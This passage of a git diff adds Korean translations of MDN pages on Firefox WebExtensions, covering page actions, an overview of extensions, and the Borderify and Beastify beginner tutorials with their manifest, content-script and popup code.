+<h2 id="페이지_액션_기술하기">페이지 액션 기술하기</h2>
+
+<p> </p>
+
+<p>페이지 액션의 속성은 manifest.json의 <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></code> 항목에서 정의한다:</p>
+
+<pre class="brush: json line-numbers  language-json"><code class="language-json"><span class="key token">"page_action":</span> <span class="punctuation token">{</span>
+  <span class="key token">"browser_style":</span> <span class="keyword token">true</span><span class="punctuation token">,</span>
+  <span class="key token">"default_icon":</span> <span class="punctuation token">{</span>
+    <span class="key token">"19":</span> <span class="string token">"button/geo-19.png"</span><span class="punctuation token">,</span>
+    <span class="key token">"38":</span> <span class="string token">"button/geo-38.png"</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span>
+  <span class="key token">"default_title":</span> <span class="string token">"Whereami?"</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>꼭 있어야 하는 항목은 <code>default_icon</code>이다.</p>
+
+<p>페이지 액션을 기술하는 길은 두 가지다: <a href="/en-US/Add-ons/WebExtensions/Popups">팝업</a>이 있는가. 없는가. 팝업이 없으면, 사용자 클릭은 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction/onClicked" title="Fired when a browser action icon is clicked. This event will not fire if the browser action has a popup."><code>pageAction.onClicked</code></a>을 청취하는 확장 프로그램에 이벤트를 전달된다:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">browser<span class="punctuation token">.</span>pageAction<span class="punctuation token">.</span>onClicked<span class="punctuation token">.</span><span class="function token">addListener</span><span class="punctuation token">(</span>handleClick<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>팝업이 있으면, 클릭 이벤트는 없다: 대신, 팝업창이 열린다. 사용자는 팝업으로 일을 하고, 팝업창 바깥을 클릭하면 자동으로 닫힌다. <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Popups">팝업</a> 글에 팝업을 만들고 관리하는 보다 자세한 내용이 있다.</p>
+
+<p>주목! 확장 프로그램은 페이지 액션을 하나만 가질 수 있다.</p>
+
+<p>페이지 액션의 속성은 <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">pageAction</a></code> API로 프로그램적으로 바꿀 수 있다.</p>
+
+<h2 id="아이콘">아이콘</h2>
+
+<p>페이지 액션에서 어떻게 아이콘을 만들고 사용하는지에 대한 자세한 내용은 <a class="grey-90 no-underline hover-no-underline" href="https://design.firefox.com/photon/index.html">Photon Design System</a> 문서에서 <a href="https://design.firefox.com/photon/visuals/iconography.html">Iconography</a>을 보라.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>GitHub <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> 저장소에 팝업없는 페이지 액션 예제 <a href="https://github.com/mdn/webextensions-examples/tree/master/chill-out">chill-out</a>가 있다.</p>
diff --git a/files/ko/mozilla/add-ons/webextensions/what_are_webextensions/index.html b/files/ko/mozilla/add-ons/webextensions/what_are_webextensions/index.html
new file mode 100644
index 0000000000..95d5af0f04
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/what_are_webextensions/index.html
@@ -0,0 +1,28 @@
+---
+title: What are extensions?
+slug: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
+---
+<div>{{AddonSidebar}}</div>
+
+<div>Extension(이하 확장앱)은 웹 브라우저의 기능을 수정하는 코드를 지칭합니다. 확장앱은 표준 웹 기술(JavaScript, HTML 그리고 CSS)과 일부 전용 JavaScript API를 사용하여 작성됩니다. 여러 가지 특징이 있지만 무엇보다도 확장앱은 브라우저에 새로운 기능을 추가할 수 있고 특정 웹사이트의 모양이나 내용을 변경할 수 있다는 점이 대표적입니다.</div>
+
+<div> </div>
+
+<div>Firefox 용 확장 프로그램은 확장앱 개발을 위한 크로스 브라우저 시스템인 WebExtensions API를 사용하여 만들어집니다. 대부분의 경우 API는 Google 크롬 및 Opera에서 지원하는 <a href="https://developer.chrome.com/extensions">extension API</a>와 호환됩니다. 대부분의 경우 이러한 브라우저 용으로 작성된 확장 프로그램은 Firefox 또는 Microsoft Edge에서 <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension">약간의 변경</a>만으로 실행됩니다. API는 <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox">멀티프로세스 Firefox</a>와도 완벽하게 호환됩니다.</div>
+
+<div> </div>
+
+<div>과거에는 <a href="https://developer.mozilla.org/en-US/Add-ons/Overlay_Extensions">XUL/XPCOM overlays</a>, <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Bootstrapped_extensions">bootstrapped extensions</a>, 또는 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/SDK">Add-on SDK</a> 중 하나의 방법으로 Firefox Extension을 개발했습니다. 이제 2017년 11월을 마지막으로 WebExtensions API가 유일한 Firefox 확장앱 개발 방법으로 통합되고, 기존의 방법은 더 이상 사용되지 않을 예정입니다. </div>
+
+<div> </div>
+
+<div>질문 혹은 아이디어가 있거나, 기존 Extension을 WebExtensions API로 마이그레이션 할 때 도움이 필요하다면  <a class="external external-icon" href="https://mail.mozilla.org/listinfo/dev-addons">dev-addons 메일링 리스트</a>나 <a class="external external-icon" href="https://wiki.mozilla.org/IRC">IRC</a>의 <a href="irc://irc.mozilla.org/extdev">#extdev</a>로 요청해주세요.</div>
+
+<h2 id="Whats_next">What's next?</h2>
+
+<ul>
+ <li>확장앱 예시를 확인하려면 <a href="/ko/Add-ons/WebExtensions/Examples">Example extensions</a> 참조.</li>
+ <li>확장앱<span class="translation">의 구조에 대한 내용은 </span><a href="/ko/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">Anatomy of an extension</a> 참조.</li>
+ <li>간단한 확장앱을 만들어보려면 <a href="/ko/Add-ons/WebExtensions/Your_first_WebExtension">Your first extension</a> 참조.</li>
+</ul>
diff --git a/files/ko/mozilla/add-ons/webextensions/your_first_webextension/index.html b/files/ko/mozilla/add-ons/webextensions/your_first_webextension/index.html
new file mode 100644
index 0000000000..e7de79a4d0
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/your_first_webextension/index.html
@@ -0,0 +1,154 @@
+---
+title: Your first extension
+slug: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
+tags:
+  - WebExtensions
+  - 가이드
+translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
+---
+<div>{{AddonSidebar}}</div>
+
+<p>이 글에서 우리는 "mozilla.org"와 그 하위 도메인 페이지에서 불러온 페이지에 붉은 테두리를 추가하는 확장 기능을 만들게 됩니다. 이를 통해 어떻게 Firefox를 위한 확장 기능을 만들 수 있는지 알아보고자 합니다.</p>
+
+<p>이 예제의 소스코드는 GitHub에서 받을 수 있습니다.<br>
+ <a href="https://github.com/mdn/webextensions-examples/tree/master/borderify">https://github.com/mdn/webextensions-examples/tree/master/borderify</a></p>
+
+<p>우선, 파이어폭스의 버전이 45 이상이여야 합니다.</p>
+
+<h2 id="확장기능_만들기">확장기능 만들기</h2>
+
+<p>새 디렉토리를 만들고 그 디렉토리 안으로 들어갑니다.</p>
+
+<pre class="brush: bash">mkdir borderify
+cd borderify</pre>
+
+<h3 id="manifest.json">manifest.json</h3>
+
+<p>이제 "borderify" 폴더 안에 "manifest.json" 파일을 만들어야 합니다. 아래 내용을 작성해 주세요.</p>
+
+<pre class="brush: json line-numbers  language-json"><code class="language-json"><span class="punctuation token">{</span>
+
+  <span class="key token">"manifest_version":</span> <span class="number token">2</span><span class="punctuation token">,</span>
+  <span class="key token">"name":</span> <span class="string token">"Borderify"</span><span class="punctuation token">,</span>
+  <span class="key token">"version":</span> <span class="string token">"1.0"</span><span class="punctuation token">,</span>
+
+  <span class="key token">"description":</span> <span class="string token">"Adds a red border to all webpages matching mozilla.org."</span><span class="punctuation token">,</span>
+
+  <span class="key token">"icons":</span> <span class="punctuation token">{</span>
+    <span class="key token">"48":</span> <span class="string token">"icons/border-48.png"</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span>
+
+  <span class="key token">"content_scripts":</span> <span class="punctuation token">[</span>
+    <span class="punctuation token">{</span>
+      <span class="key token">"matches":</span> <span class="punctuation token">[</span><span class="string token">"*://*.mozilla.org/*"</span><span class="punctuation token">]</span><span class="punctuation token">,</span>
+      <span class="key token">"js":</span> <span class="punctuation token">[</span><span class="string token">"borderify.js"</span><span class="punctuation token">]</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">]</span>
+
+<span class="punctuation token">}</span></code></pre>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></code>, <code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/name">name</a></code>, <code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/version">version</a></code>, 이 세가지 키는 반드시 필요합니다. 확장의 기본 메타 데이터를 담고 있습니다.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/description">description</a></code>은 없어도 괜찮지만 포함하는 게 좋습니다. 확장 관리자 화면에서 볼 수 있습니다.</li>
+ <li><code><a href="/en-US/Add-ons/WebExtensions/manifest.json/icons">icons</a></code>은 없어도 괜찮지만 역시 포함하는 편이 좋습니다<span class="translation">. 이는 확장의 아이콘을 결정하며 확장 관리자 화면에서 볼 수 있습니다.</span></li>
+</ul>
+
+<p>가장 재밌는 키는 <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code> 입니다. 이 키는 URL이 패턴과 일치하는 페이지에 스크립트를 주입하도록 Firefox에 요청하는 역할을 합니다. 이 예제의 경우, "mozilla.org"와 그 하위 도메인에서 제공되는 모든 HTTP와 HTTPS 페이지에 "borderify.js" 스크립트를 주입하도록 Firefox에 요청합니다.</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">content scripts에 대해 더 알아보기</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Match_patterns">match patterns에 대해 더 알아보기</a></li>
+</ul>
+
+<div class="warning">
+<p><a href="/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID#When_do_you_need_an_Add-on_ID">확장에 ID를 지정해야 할 수도 있습니다</a><span class="translation">. 애드온</span> ID를 지정해야 한다면, <code>manifest.json</code> 파일에 <code>application</code> 키를 작성한 다음 gecko.id 프로퍼티를 설정하면 됩니다.</p>
+
+<pre class="brush: json">"applications": {
+  "gecko": {
+    "id": "borderify@example.com"
+  }
+}</pre>
+</div>
+
+<h3 id="iconsborder-48.png">icons/border-48.png</h3>
+
+<p>확장기능에는 아이콘이 필요합니다. 이 아이콘은 확장 관리자의 목록에 나타납니다. 우리의 manifest.json은 "icons/border-48.png"를 아이콘으로 사용하겠다고 정했습니다.</p>
+
+<p>borderify 디렉토리 안에 icons 디렉토리를 만들고, "border-48.png"라는 이름으로 아이콘을 저장합니다. <a href="https://github.com/mdn/webextensions-examples/blob/master/borderify/icons/border-48.png">예제에 포함된 아이콘</a>이나, <a href="https://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-ShareAlike</a> 라이선스로 배포되는 Google Material Design 아이콘 세트에서 골라도 좋습니다.</p>
+
+<p>사용할 아이콘은 48픽셀 정사각형이여야 합니다. 원한다면 고해상도 디스플레이를 위해서 96x96 픽셀의 아이콘과 같이 제공할 수도 있습니다. 만약 그렇게 한다면 manifest.json의 icons 객체에 <code>96</code> 프로퍼티로 지정해줘야 합니다.</p>
+
+<pre class="brush: json">"icons": {
+  "48": "icons/border-48.png",
+  "96": "icons/border-96.png"
+}</pre>
+
+<p>대신 SVG 파일을 사용할 수도 있습니다. 그러면 자동으로 딱 맞게 조절되어 적용됩니다. (만약 SVG에 텍스트가 포함되어 있다면 사용하는 툴에서 "패스로 변환하기" 기능을 사용해 텍스트를 패스로 변경해주세요. 그래야 원하는 위치와 크기로 확대/축소가 이뤄집니다.)</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/manifest.json/icons">아이콘을 지정하는 방법에 대해 더 알아보기</a></li>
+</ul>
+
+<h3 id="borderify.js">borderify.js</h3>
+
+<p>마지막으로 borderify.js 파일을 borderify 디렉토리에 만들고 아래 내용으로 저장해주세요.</p>
+
+<pre class="brush: js">document.body.style.border = "5px solid red";</pre>
+
+<p>이 스크립트는 manifest.json의 <code>content_scripts</code>키로 주어진 패턴에 매칭 될 때 페이지에 삽입됩니다. 스크립트는 원래 페이지에 포함되어 있던 스크립트처럼, 문서 자체에 직접 접근할 수 있게 됩니다.</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">content scripts에 대해 더 알아보기</a></li>
+</ul>
+
+<h2 id="사용해보기">사용해보기</h2>
+
+<p>우선 파일들이 원하는 위치에 있는지 다시 확인 해보세요.</p>
+
+<pre>borderify/
+    icons/
+        border-48.png
+    borderify.js
+    manifest.json</pre>
+
+<h3 id="설치">설치</h3>
+
+<p>Firefox로 "about:debugging" 페이지에 들어갑니다. "임시 확장기능 로드"를 클릭해 확장기능 디렉토리를 선택합니다.</p>
+
+<p>{{EmbedYouTube("cer9EUKegG4")}}</p>
+
+<p>이제 확장기능이 설치될 것이고, Firefox가 재시작 되더라도 유지될 것입니다.</p>
+
+<p>대신 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a> 툴을 사용해 커맨드라인에서 확장기능을 실행할 수도 있습니다.</p>
+
+<h3 id="테스트">테스트</h3>
+
+<p>이제 "mozilla.org" 페이지에 들어가 봅시다. 페이지 전체를 둘러싸고 있는 붉은 색의 테두리를 볼 수 있습니다.</p>
+
+<p>{{EmbedYouTube("rxBQl2Z9IBQ")}}</p>
+
+<div class="note">
+<p><span class="translation">addons.mozilla.org에 들어가서 테스트 하지 마세요! </span>Content script는 현재 이 도메인에 사용할 수 없도록 차단됩니다.</p>
+</div>
+
+<p>좀 더 파고들어 봅시다. 테두리의 색을 변경하거나, 페이지 컨텐츠에 다른 것들을 해볼 수 있겠죠. content script를 저장하고 about:debugging 페이지에서 Reload 버튼을 눌러 확장기능 파일을 새로고침 할 수 있습니다. 그리고 나서는 곧바로 변경된 기능을 확인할 수 있죠.</p>
+
+<p>{{EmbedYouTube("NuajE60jfGY")}}</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">확장기능을 불러오는 것에 대해 더 알아보기</a></li>
+</ul>
+
+<h2 id="패키징과_배포">패키징과 배포</h2>
+
+<p>다른 사람들이 확장기능을 사용할 수 있게 하려면, 확장을 패키징하고 Mozilla에 제출해 서명을 받아야 합니다. <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension">확장기능 배포에 대해 더 알아보기.</a></p>
+
+<h2 id="다음으로">다음으로</h2>
+
+<p>이제 어떻게 Firefox용 WebExtension을 개발해야 하는지 알게 되었습니다. 다음 글들을 읽고 시도해 보세요.</p>
+
+<ul>
+ <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">확장기능의 구조에 대해 더 자세히 알아보기</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Your_second_WebExtension">좀 더 복잡한 확장기능을 만들기</a></li>
+ <li><a href="/en-US/Add-ons/WebExtensions/API">확장기능에서 사용할 수 있는 JavaScript API 문서</a></li>
+</ul>
diff --git a/files/ko/mozilla/add-ons/webextensions/your_second_webextension/index.html b/files/ko/mozilla/add-ons/webextensions/your_second_webextension/index.html
new file mode 100644
index 0000000000..1d5bd49ca4
--- /dev/null
+++ b/files/ko/mozilla/add-ons/webextensions/your_second_webextension/index.html
@@ -0,0 +1,456 @@
+---
+title: Your second extension
+slug: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension
+translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension
+---
+<div>{{AddonSidebar}}
+<p><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension">Your first extension</a> 장을 읽었다면, 확장앱을 만드는 법을 알게 되었을 것이다. 이번 장에서는 몇개의 API를 사용하는 약간 더 복잡한 확장앱을 만들어볼 것이다.</p>
+
+<p>이 확장앱은 파이어폭스 툴바에 새로운 버튼을 추가한다. 사용자가 이 버튼을 클릭하면 동물을 선택하는 팝업을 보여준다. 동물을 선택하면 현재 웹페이지의 내용을 선택한 동물 이미지로 변경한다.</p>
+
+<p>구현내용:</p>
+
+<ul>
+ <li><strong>파이어폭스 툴바에 추가된 버튼의 <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a>을 정의한다. </strong><br>
+  버튼을 위해 필요한것:
+  <ul>
+   <li>"beasts-32.png" 아이콘</li>
+   <li>버튼을 누를때 나오는 팝업. 이 팝업은 HTML과 CSS, 자바스크립트로 구성된다.</li>
+  </ul>
+ </li>
+ <li><strong>애드온 메니저에 보여질 확장앱 아이콘을 정의한다.</strong></li>
+ <li><strong>웹페이지에 주입될 "beastify.js"라는 content script를 작성한다. </strong><br>
+  이것이 실제로 웹페이지를 변경할 코드이다.</li>
+ <li><strong>웹페이지를 변경할 동물 이미지를 패키징한다.</strong><br>
+  <span class="translation">이미지를 "웹 접근 가능 자원"으로 만들어 웹페이지에서 참조 하게 한다.</span></li>
+</ul>
+
+<p>확장앱의 구조를 표현하면 아래와 같다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13671/Untitled-1.png" style="display: block; height: 1200px; margin-left: auto; margin-right: auto; width: 860px;"></p>
+
+<p><span class="translation">간단한 확장앱이지만 WebExtensions API의 기본 개념을 잘 보여줍니다.</span></p>
+
+<ul>
+ <li>툴바에 버튼 추가</li>
+ <li>팝업에 쓰일 HTML, CSS, 자바스크립트 정의</li>
+ <li>웹페이지에 content scripts 주입</li>
+ <li>컨텐츠 스크립트와 나머지 확장앱과의 통신</li>
+ <li>확장앱의 웹페이지에서 사용할 리소스 패키징</li>
+</ul>
+
+<p><a href="https://github.com/mdn/webextensions-examples/tree/master/beastify">깃헙 예제 소스코드</a>.</p>
+
+<p>이 확장앱을 만드려면 파이어폭스 45이상이 필요하다.</p>
+
+<h2 id="Writing_the_extension">Writing the extension</h2>
+
+<p>새 디렉토리 생성:</p>
+
+<pre class="brush: bash">mkdir beastify
+cd beastify</pre>
+
+<h3 id="manifest.json">manifest.json</h3>
+
+<p>이제 "manifest.json" 파일을 아래와 같은 내용으로 생성:</p>
+
+<pre class="brush: json">{
+
+  "manifest_version": 2,
+  "name": "Beastify",
+  "version": "1.0",
+
+  "description": "Adds a browser action icon to the toolbar. Click the button to choose a beast. The active tab's body content is then replaced with a picture of the chosen beast. See https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Examples#beastify",
+  "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify",
+  "icons": {
+    "48": "icons/beasts-48.png"
+  },
+
+  "permissions": [
+    "activeTab"
+  ],
+
+  "browser_action": {
+    "default_icon": "icons/beasts-32.png",
+    "default_title": "Beastify",
+    "default_popup": "popup/choose_beast.html"
+  },
+
+  "web_accessible_resources": [
+    "beasts/frog.jpg",
+    "beasts/turtle.jpg",
+    "beasts/snake.jpg"
+  ]
+
+}
+</pre>
+
+<ul>
+ <li>위에서부터 세가지 키인 <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/name">name</a></code>, and <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version">version</a></code>는 , <span class="translation">필수항목이고 확장앱의 기본 정보이다.</span></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description">description</a></code> 과 <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url">homepage_url</a></code>은 선택사항이나, 확장앱에관한 유용한 정보를 가지기에 권장한다.</li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons">icons</a></code> 도 선택사항이나 애드온 매니저에서 확장앱을 알리는 아이콘이니 권장한다.</li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code> 은 확장앱이 필요로 하는 권한의 목록이다. 이 확장앱에서는 <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission"><code>activeTab</code> 과 permission</a> 을 사용한다.</li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code>는 툴바에 나오는 버튼을 정의하고 세가지 정보를 정의한다:
+  <ul>
+   <li><code>default_icon</code> 는 필수이고 , 버튼의 아이콘을 정의한다.</li>
+   <li><code>default_title</code> 는 선택사항이고 툴팁을 정의한다.</li>
+   <li><code>default_popup</code> 은 사용자가 버튼을 클릭할때 팝업을 보여주고 싶을때 사용한다. 우리는 이 항목을 추가해서 확장앱에 포함된 HTML파일을 지정한다.</li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a></code>는 웹페이지에서 접근가능한 파일들의 목록이다. 확장앱은 이미지로 웹페이지의 컨텐츠를 변경해야하기에 이 이미지들이 페이지에 접근가능하게 해야한다.</li>
+</ul>
+
+<p>manifest.json와 연관된 모든 경로의 것들을 기술한다.</p>
+
+<h3 id="The_icon">The icon</h3>
+
+<p>확장앱은 아이콘을 가져야한다. 이 아이콘은 애드온 매니저에서 확장앱의 목록에서 보여진다.("about:addons" url을 통해 열수 있다). 이번에 만든 manifest.json는 <span class="translation">"icons / beasts-48.png" 아이콘을 정의하였다</span></p>
+
+<p>"icons"라는 디렉토리를 만들고 "beasts-48.png" 파일을 그 아래에 저장한다. <span class="translation">우리 예제는 </span><a href="https://www.iconfinder.com/iconsets/free-retina-icon-set">Aha-Soft’s Free Retina iconset</a><span class="translation">에서 가져온 이미지를 </span><a href="http://www.aha-soft.com/free-icons/free-retina-icon-set/">라이센스</a><span class="translation"> 조건에 따라 사용했다.</span></p>
+
+<p>자신만의 아이콘을 사용하려면 48x48 픽셀이어야한다. 또한 고해상도를 위한 96x96 필셀도 지원한다. 만약 고해상도를 지원하게 하고싶다면 manifest.json의 아이콘 부분을 아래처럼 작성하면 된다.</p>
+
+<pre class="brush: json line-numbers  language-json"><code class="language-json"><span class="key token">"icons":</span> <span class="punctuation token">{</span>
+  <span class="key token">"48":</span> <span class="string token">"icons/beasts-48.png"</span><span class="punctuation token">,</span>
+  <span class="key token">"96":</span> <span class="string token">"icons/beasts-96.png"</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="The_toolbar_button">The toolbar button</h3>
+
+<p>툴바 버튼도 아이콘이 필요한데, 우리 manifest.json 파일에 툴바 버튼의 아이콘을 "icons/beasts-32.png"으로 기술하였다.</p>
+
+<p>"icons" 디렉토리 아래 "beasts-32.png"  파일을 저장한다. 우리는  <span class="translation">우리 예제의 </span><a href="https://github.com/mdn/webextensions-examples/blob/master/beastify/icons/beasts-32.png">이미지</a><span class="translation">는 </span><a href="http://www.iconbeast.com/free">IconBeast Lite icon set</a><span class="translation">에서 가져온 이미지를 </span><a href="http://www.iconbeast.com/faq/">라이센스</a><span class="translation"> 조건에 따라 사용했다.</span></p>
+
+<p><span class="translation">팝업을 제공하지 않으면 사용자가 버튼을 클릭 할 때 클릭 이벤트가 없어지게된다. </span>팝업을 제공한다면 이벤트는 없이지지않고 대신 팝업이 열린다. 우리는 팝업을 열어야하니 다음에서 팝업을 정의한다.</p>
+
+<h3 id="The_popup">The popup</h3>
+
+<p>이 팝업의 기능은 세 동물중 하나를 선택하는 기능이다.</p>
+
+<p>확장앱 로트 아래 "popup" 디렉토리를 생성한다. 여기에대가 팝업 관련 파일들을 저장할 것 이다. 이 팝업이 가지는 세가 파일:</p>
+
+<ul>
+ <li><strong><code>choose_beast.html</code></strong> 컨텐츠의 패널 정의</li>
+ <li><strong><code>choose_beast.css</code></strong> 스타일</li>
+ <li><strong><code>choose_beast.js</code></strong> 활성화된 탭에 사용자가 선택한 이미지를 content script를 통해 반영한다.</li>
+</ul>
+
+<pre class="brush: bash">mkdir popup
+cd popup
+touch choose_beast.html choose_beast.css choose_beast.js
+</pre>
+
+<h4 id="choose_beast.html">choose_beast.html</h4>
+
+<p>HTML파일의 내용:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;link rel="stylesheet" href="choose_beast.css"/&gt;
+  &lt;/head&gt;
+
+&lt;body&gt;
+  &lt;div id="popup-content"&gt;
+    &lt;div class="button beast"&gt;Frog&lt;/div&gt;
+    &lt;div class="button beast"&gt;Turtle&lt;/div&gt;
+    &lt;div class="button beast"&gt;Snake&lt;/div&gt;
+    &lt;div class="button reset"&gt;Reset&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div id="error-content" class="hidden"&gt;
+    &lt;p&gt;Can't beastify this web page.&lt;/p&gt;&lt;p&gt;Try a different page.&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;script src="choose_beast.js"&gt;&lt;/script&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<p>각각의 동물들을 보여주는 항목을 가지는 <code><a href="/en-US/docs/Web/HTML/Element/div">&lt;div&gt;</a></code> 요소의 ID에 <code>"popup-content"</code> 를 정의하였다. 또 다른 <code>"error-content"</code> ID를 가지는 <code>&lt;div&gt;</code>는  <code>"hidden"</code> 이라는 class를 정의하였고 팝업을 초기화 할때 문제가 생기는 경우 사용할 것이다.</p>
+
+<p>이 HTML파일은 일반 웹페이지처럼 CSS파일과 JS파일을 포함한다.</p>
+
+<h4 id="choose_beast.css">choose_beast.css</h4>
+
+<p>이 CSS는 팝업의 크기를 정의하고 선택항목의 공간을 정의하는등 기본적인 스타일링을 한다. 또한 <code>class="hidden"</code> 이라고 정의한 항목을 숨긴다. 이것은 <code>"error-content"</code> <code>&lt;div&gt;</code> 가 기본적으로는 숨겨진다는 것을 뜻한다.</p>
+
+<pre class="brush: css">html, body {
+  width: 100px;
+}
+
+.hidden {
+  display: none;
+}
+
+.button {
+  margin: 3% auto;
+  padding: 4px;
+  text-align: center;
+  font-size: 1.5em;
+  cursor: pointer;
+}
+
+.beast:hover {
+  background-color: #CFF2F2;
+}
+
+.beast {
+  background-color: #E5F2F2;
+}
+
+.reset {
+  background-color: #FBFBC9;
+}
+
+.reset:hover {
+  background-color: #EAEA9D;
+}
+
+</pre>
+
+<h4 id="choose_beast.js">choose_beast.js</h4>
+
+<p>팝업의 자바스크립트 코드는 아래와 같다:</p>
+
+<pre class="brush: js">/**
+ * CSS to hide everything on the page,
+ * except for elements that have the "beastify-image" class.
+ */
+const hidePage = `body &gt; :not(.beastify-image) {
+                    display: none;
+                  }`;
+
+/**
+ * Listen for clicks on the buttons, and send the appropriate message to
+ * the content script in the page.
+ */
+function listenForClicks() {
+  document.addEventListener("click", (e) =&gt; {
+
+    /**
+     * Given the name of a beast, get the URL to the corresponding image.
+     */
+    function beastNameToURL(beastName) {
+      switch (beastName) {
+        case "Frog":
+          return browser.extension.getURL("beasts/frog.jpg");
+        case "Snake":
+          return browser.extension.getURL("beasts/snake.jpg");
+        case "Turtle":
+          return browser.extension.getURL("beasts/turtle.jpg");
+      }
+    }
+
+    /**
+     * Insert the page-hiding CSS into the active tab,
+     * then get the beast URL and
+     * send a "beastify" message to the content script in the active tab.
+     */
+    function beastify(tabs) {
+      browser.tabs.insertCSS({code: hidePage}).then(() =&gt; {
+        let url = beastNameToURL(e.target.textContent);
+        browser.tabs.sendMessage(tabs[0].id, {
+          command: "beastify",
+          beastURL: url
+        });
+      });
+    }
+
+    /**
+     * Remove the page-hiding CSS from the active tab,
+     * send a "reset" message to the content script in the active tab.
+     */
+    function reset(tabs) {
+      browser.tabs.removeCSS({code: hidePage}).then(() =&gt; {
+        browser.tabs.sendMessage(tabs[0].id, {
+          command: "reset",
+        });
+      });
+    }
+
+    /**
+     * Just log the error to the console.
+     */
+    function reportError(error) {
+      console.error(`Could not beastify: ${error}`);
+    }
+
+    /**
+     * Get the active tab,
+     * then call "beastify()" or "reset()" as appropriate.
+     */
+    if (e.target.classList.contains("beast")) {
+      browser.tabs.query({active: true, currentWindow: true})
+        .then(beastify)
+        .catch(reportError);
+    }
+    else if (e.target.classList.contains("reset")) {
+      browser.tabs.query({active: true, currentWindow: true})
+        .then(reset)
+        .catch(reportError);
+    }
+  });
+}
+
+/**
+ * There was an error executing the script.
+ * Display the popup's error message, and hide the normal UI.
+ */
+function reportExecuteScriptError(error) {
+  document.querySelector("#popup-content").classList.add("hidden");
+  document.querySelector("#error-content").classList.remove("hidden");
+  console.error(`Failed to execute beastify content script: ${error.message}`);
+}
+
+/**
+ * When the popup loads, inject a content script into the active tab,
+ * and add a click handler.
+ * If we couldn't inject the script, handle the error.
+ */
+browser.tabs.executeScript({file: "/content_scripts/beastify.js"})
+.then(listenForClicks)
+.catch(reportExecuteScriptError);
+
+</pre>
+
